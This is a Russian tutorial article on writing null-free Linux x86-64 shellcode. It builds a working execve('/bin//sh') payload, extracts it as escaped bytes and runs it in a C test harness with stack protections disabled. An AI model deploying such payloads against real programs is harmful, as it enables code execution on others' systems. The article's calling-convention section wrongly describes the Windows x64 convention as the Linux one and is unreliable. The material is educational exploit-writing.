Содержание статьи
IoT — самый настоящий тренд последнего времени. Почти везде в нем используется ядро Linux. Однако статей по вирусописательству и шелл-кодингу под эту платформу сравнительно мало. Думаешь, писать шелл-код под Linux — только для избранных? Давай выясним, так ли это!
Что нужно для работы?
Для компиляции шелл-кода нам понадобится компилятор и линковщик. Мы будем использовать nasm
и ld
. Для проверки работы шелл-кода мы напишем небольшую программку на С. Для ее компиляции нам понадобится gcc
. Для некоторых проверок будет нужен rasm2
(часть фреймворка radare2). Для написания вспомогательных функций мы будем использовать Python.
Что нового в x64?
x64 является расширением архитектуры IA-32. Основная отличительная ее особенность — поддержка 64-битных регистров общего назначения, 64-битных арифметических и логических операций над целыми числами и 64-битных виртуальных адресов.
Если говорить более конкретно, то все 32-битные регистры общего назначения сохраняются, добавляются их расширенные версии (rax
, rbx
, rcx
, rdx
, rsi
, rdi
, rbp
, rsp
) и несколько новых регистров общего назначения (r8
, r9
, r10
, r11
, r12
, r13
, r14
, r15
).
Появляется новое соглашение о вызовах (в отличие от архитектуры x86, оно только одно). Согласно ему, при вызове функции каждый регистр используется для определенных целей, а именно:
- первые четыре целочисленных аргумента функции передаются через регистры
rcx
,rdx
,r8
иr9
и через регистрыxmm0
—xmm3
для типов с плавающей точкой; - остальные параметры передаются через стек;
- для параметров, передаваемых через регистры, все равно резервируется место в стеке;
- результат работы функции возвращается через регистр
rax
для целочисленных типов или через регистрxmm0
для типов с плавающей точкой; rbp
содержит указатель на базу стека, то есть место (адрес), где начинается стек;rsp
содержит указатель на вершину стека, то есть на место (адрес), куда будет помещено новое значение;rsi
,rdi
используются вsyscall
.
Немного о стеке: так как адреса теперь 64-битные, значения в стеке могут иметь размер 8 байт.
Syscall. Что? Как? Зачем?
Syscall — это способ, посредством которого user-mode взаимодействует с ядром в Linux. Он используется для различных задач: операции ввода-вывода, запись и чтение файлов, открытие и закрытие программ, работа с памятью и сетью и так далее. Для того чтобы выполнить syscall, необходимо:
- загрузить соответствующий номер функции в регистр
rax
; - загрузить входные параметры в остальные регистры;
- вызвать прерывание под номером
0x80
(начиная с версии ядра 2.6 это делается через вызовsyscall
).
В отличие от Windows, где нужно еще найти адрес необходимой функции, здесь все довольно просто и лаконично.
Номера нужных syscall-функций можно найти, например, здесь.
execve()
Если мы посмотрим на готовые шелл-коды, то многие из них используют функцию execve()
.
execve()
имеет следующий прототип:
int execve(const char *filename, char *const argv[], char *const envp[]);
Она вызывает программу filename
. Программа filename
может быть либо исполняемым бинарником, либо скриптом, который начинается со строки #! interpreter [optional-arg]
.
argv[]
является указателем на массив, по сути, это тот самый argv[]
, который мы видим, например, в C или Python.
envp[]
— указатель на массив, описывающий окружение. В нашем случае не используется, будет иметь значение null
.
Основные требования к шелл-коду
Существует такое понятие, как position-independent code. Это код, который будет выполняться независимо от того, по какому адресу он загружен. Чтобы наш шелл-код мог выполняться в любом месте программы, он должен быть позиционно-независимым.
Чаще всего шелл-код загружается функциями вроде strcpy()
. Подобные функции используют байты 0x00
, 0x0A
, 0x0D
как разделители (зависит от платформы и функции). Поэтому лучше такие значения не использовать. В противном случае функция может скопировать шелл-код не полностью. Рассмотрим следующий пример:
$ rasm2 -a x86 -b 64 'push 0x00'
6a00
Как видно, код push 0x00
скомпилируется в следующие байты 6a 00
. Если бы мы использовали такой код, наш шелл-код бы не сработал. Функция скопировала бы все, что находится до байта со значением 0x00
.
В шелл-коде нельзя использовать «захардкоженные» адреса, потому что мы заранее эти самые адреса не знаем. По этой причине все строки в шелл-коде получаются динамически и хранятся в стеке.
Вот вроде бы и все.
Just do it!
Если ты дочитал до этого места, то уже должна сложиться картина, как будет работать наш шелл-код.
Первым делом необходимо подготовить параметры для функции execve()
и затем правильно расположить их на стеке. Функция будет выглядеть следующим образом:
execve("/bin/sh/", ["/bin/sh"], null);
Второй параметр представляет собой массив argv[]
. Первый элемент этого массива содержит путь к исполняемому файлу.
Третий параметр представляет собой информацию об окружении, нам он не нужен, поэтому будет иметь значение null
.
Сначала получим нулевой байт. Мы не можем использовать структуру вида mov eax, 0x00
, поскольку это приведет к появлению null-байтов в коде, так что мы будем использовать следующую инструкцию:
xor rdx, rdx
Оставим это значение в регистре rdx
— оно еще понадобится в качестве символа конца строки и значения третьего параметра (которое будет null
).
Так как стек растет от старших адресов к младшим, а функция execve()
будет читать входные параметры от младших к старшим (то есть стек работает с памятью в обратном порядке), то на стек мы будем класть перевернутые значения.
Для того чтобы перевернуть строку и перевести ее в hex, можно использовать следующую функцию на Python:
def rev_str(s):
rev = s[::-1]
return rev.encode("hex")
Вызовем эту функцию для /bin/sh
:
>>> rev.rev_str("/bin/sh")
'68732f6e69622f'
Получили строку длиной 7 байт. Теперь рассмотрим, что произойдет, если мы попробуем положить ее в стек:
$ rasm2 -a x86 -b 64 'mov rax, 68732f6e69622f; push rax'
48b82f62696e2f73680050
Мы получили нулевой байт (второй байт с конца), который сломает наш шелл-код. Чтобы этого не произошло, воспользуемся тем, что Linux игнорирует последовательные слеши (то есть /bin/sh
и /bin//sh
— это одно и то же).
>>> rev.rev_str("/bin//sh")
'68732f2f6e69622f'
Теперь у нас строка длиной 8 байт. Посмотрим, что будет, если положить ее в стек:
$ rasm2 -a x86 -b 64 'mov rax, 0x68732f2f6e69622f; push rax'
48b82f62696e2f2f736850
Никаких нулевых байтов!
Затем на сайте ищем информацию о функции execve()
. Смотрим номер функции, который положим в rax
, — 59. Смотрим, какие регистры используются:
rdi
— хранит адрес строкиfilename
;rsi
— хранит адрес строкиargv
;rdx
— хранит адрес строкиenvp
.
Собираем все воедино
Кладем в стек символ конца строки (помним, что все делается в обратном порядке):
xor rdx, rdx
push rdx
Кладем в стек строку /bin//sh
:
mov rax, 0x68732f2f6e69622f
push rax
Получаем адрес строки /bin//sh
в стеке и сразу помещаем его в rdi
:
mov rdi, rsp
В rsi
необходимо положить указатель на массив строк. В нашем случае этот массив будет содержать только путь до исполняемого файла, поэтому достаточно положить туда адрес, который ссылается на память, где лежит адрес строки (на языке С указатель на указатель). Адрес строки у нас уже есть, он находится в регистре rdi
. Массив argv
должен заканчиваться null-байтом, который у нас находится в регистре rdx
:
push rdx
push rdi
mov rsi, rsp
Теперь rsi
указывает на адрес в стеке, в котором лежит указатель на строку /bin//sh
.
Кладем в rax
номер функции execve()
:
xor rax, rax
mov al, 0x3b
В итоге получили такой файл:
;runs /bin/sh
section .text
global _start
_start:
xor rdx, rdx
push rdx
mov rax, 0x68732f2f6e69622f
push rax
mov rdi, rsp
push rdx
push rdi
mov rsi, rsp
xor rax, rax
mov al, 0x3b
syscall
Компилируем и линкуем под x64. Для этого:
$ nasm -f elf64 example.asm
$ ld -m elf_x86_64 -s -o example example.o
Теперь можем использовать objdump -d example
для того, чтобы посмотреть получившийся файл:
Disassembly of section .text:
0000000000400080 <.text>:
400080: 48 31 d2 xor %rdx,%rdx
400083: 52 push %rdx
400084: 48 b8 2f 62 69 6e 2f movabs $0x68732f2f6e69622f,%rax
40008b: 2f 73 68
40008e: 50 push %rax
40008f: 48 89 e7 mov %rsp,%rdi
400092: 52 push %rdx
400093: 57 push %rdi
400094: 48 89 e6 mov %rsp,%rsi
400097: 48 31 c0 xor %rax,%rax
40009a: b0 3b mov $0x3b,%al
40009c: 0f 05 syscall
Чтобы получить шелл-код вида \x11\x22...
из бинарника, можем воспользоваться следующим кодом:
for i in `objdump -d example | tr '\t' ' ' | tr ' ' '\n' | egrep '^[0-9a-f]{2}$' ` ; do echo -n "\x$i" ; done
В результате получаем:
\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x48\x31\xc0\xb0\x3b\x0f\x05
Тестируем шелл-код
Для теста используем следующую программу на С (вместо SHELLCODE
нужно вставить получившийся шелл-код):
/* shellcode test program */
char shellcode [] = "SHELLCODE";
int main()
{
void (*f)() = (void(*)())shellcode;
f();
return 0;
}
Затем компилируем:
gcc -m64 -fno-stack-protector -z execstack -o shellcode_test shellcode_test.c
В результате получаем программу shellcode_test
. Запускаем программу и попадаем в интерпретатор sh
. Для выхода вводим exit
.
Заключение
Вот мы и написали свой первый шелл-код под Linux x64. На первый взгляд — ничего сложного, труднее всего сократить размеры шелл-кода. И нельзя забывать, что это лишь «проба пера», наш шелл-код не справится с DEP и ASLR, но полученные навыки пригодятся для написания более сложных вещей.